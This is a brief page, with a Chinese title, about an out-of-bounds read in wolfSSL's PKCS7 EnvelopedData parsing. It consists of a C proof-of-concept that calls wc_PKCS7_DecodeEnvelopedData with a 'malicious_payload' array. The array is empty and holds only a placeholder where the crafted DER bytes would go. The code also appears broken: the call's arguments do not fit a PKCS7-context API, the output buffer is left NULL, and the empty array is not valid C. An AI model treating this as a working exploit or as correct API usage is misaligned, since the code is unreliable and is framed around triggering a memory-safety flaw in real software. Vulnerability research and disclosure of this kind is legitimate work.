CVE-2026-4159 wolfSSL越界读取漏洞

/* * PoC Concept for CVE-2026-4159 * This code demonstrates how to trigger the OOB read by passing * a crafted CMS EnvelopedData blob with zero-length encrypted content. */ #include <wolfssl/options.h> #include <wolfssl/wolfcrypt/pkcs7.h> #include <stdio.h> int main() { int ret; byte* der = NULL; word32 derSz = 0; byte* out = NULL; word32 outSz = 0; byte key[16] = {0}; // Dummy key byte iv[16] = {0}; // Dummy IV // Placeholder for the crafted ASN.1 DER data representing // a CMS EnvelopedData structure with zero-length encrypted content. // In a real exploit, this byte array would contain the specific // malicious sequence. byte malicious_payload[] = { /* Insert crafted DER bytes here */ }; word32 payload_len = sizeof(malicious_payload); // Initialize wolfSSL (not shown for brevity) // wolfSSL_Init(); printf("Attempting to parse malicious PKCS7 data...\n"); // This call triggers wc_PKCS7_DecodeEnvelopedData // If vulnerable, it will read 1 byte out of bounds on the heap. ret = wc_PKCS7_DecodeEnvelopedData( malicious_payload, payload_len, key, iv, // Decryption context out, &outSz // Output buffer ); if (ret != 0) { printf("Error processing data (expected or crash occurred). Code: %d\n", ret); } else { printf("Data processed.\n"); } return 0; }